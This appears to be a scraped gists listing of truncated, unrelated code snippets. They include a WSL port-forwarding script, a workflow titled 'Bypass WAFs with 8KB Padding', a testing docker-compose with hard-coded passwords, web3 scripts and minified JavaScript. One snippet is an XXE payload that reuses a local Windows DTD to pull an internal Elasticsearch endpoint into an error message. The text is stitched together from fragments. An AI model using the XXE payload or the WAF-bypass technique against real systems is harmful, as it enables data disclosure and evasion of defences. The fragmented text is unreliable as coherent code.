Quick little solution to add port forwarding to WSL on windows
addPortForward.ps1
$port = $args[0]
netsh interface portproxy add v4tov4 listenport=$port listenaddress=0.0.0.0 connectport=$port connectaddress=(wsl bash ~/.getIP.sh)
=============
{ | |
"description": "", | |
"edition": 2, | |
"graph": { | |
"edges": [ | |
{ | |
"source": { | |
"exec_alias": "exec", | |
"node_id": 0 | |
}, |
{ | |
"description": "Bypass WAFs with 8KB Padding.", | |
"edition": 2, | |
"graph": { | |
"edges": [ | |
{ | |
"source": { | |
"exec_alias": "exec", | |
"node_id": 2 | |
}, |
version: "3.8" | |
# NOTE! This docker container has hard-coded values for passwords - this is intentional as this is testing machine. DO NOT EXPOSE TO THE INTERNET. | |
services: | |
database: | |
image: mariadb:10.6.4-focal | |
restart: unless-stopped | |
ports: | |
- 3306:3306 | |
environment: | |
MYSQL_ROOT_PASSWORD: 'CTBB_ROOT_PASSWD' |
<!DOCTYPE doc [ | |
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> | |
<!ENTITY % SuperClass '> | |
<!ENTITY % file SYSTEM "http://example.com:9200/_cat/indices"> | |
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>"> | |
%eval; | |
%error; | |
<!ENTITY test "test"' | |
> | |
%local_dtd; |
Quick little solution to add port forwarding to WSL on windows
addPortForward.ps1
$port = $args[0]
netsh interface portproxy add v4tov4 listenport=$port listenaddress=0.0.0.0 connectport=$port connectaddress=(wsl bash ~/.getIP.sh)
=============
!(function (I, e) { | |
if ("object" == typeof exports && "object" == typeof module) | |
module.exports = e(); | |
else if ("function" == typeof define && define.amd) define([], e); | |
else { | |
var o = e(); | |
for (var t in o) ("object" == typeof exports ? exports : I)[t] = o[t]; | |
} | |
})(self, function () { | |
return (self.webpackChunk_cof_one_platform = |
{ | |
"site": { | |
"externalURL": "http://NOPE.com/", | |
"auth.providers": [ | |
{ | |
"type": "builtin" | |
} | |
], | |
"search.largeFiles": [ | |
"*.js" |
pragma solidity ^0.8.0; | |
contract Demo{ | |
event log(string data); | |
string public d= "This is a variable"; | |
string public mv = "changed"; | |
string public mv2 = "changed2"; | |
constructor () { | |
string storage x = d; | |
string storage y = x; // Change this to: string memory y = x; |
var Web3 = require('web3'); | |
const fs = require('fs') | |
const inquirer = require('inquirer') | |
var questions = [ | |
{ | |
type: 'input', | |
name: 'privateKey', | |
message: "What is your privateKey?" | |
}, | |
{ |
var web3 = require('web3'); | |
var rlp = require('rlp'); | |
var process = require( 'process' ); | |
var nonce = parseInt(process.argv[3]); | |
var account = process.argv[2]; | |
var d = web3.utils.sha3(rlp.encode([account, nonce])); | |
console.log("0x"+d.substring(d.length-40)); |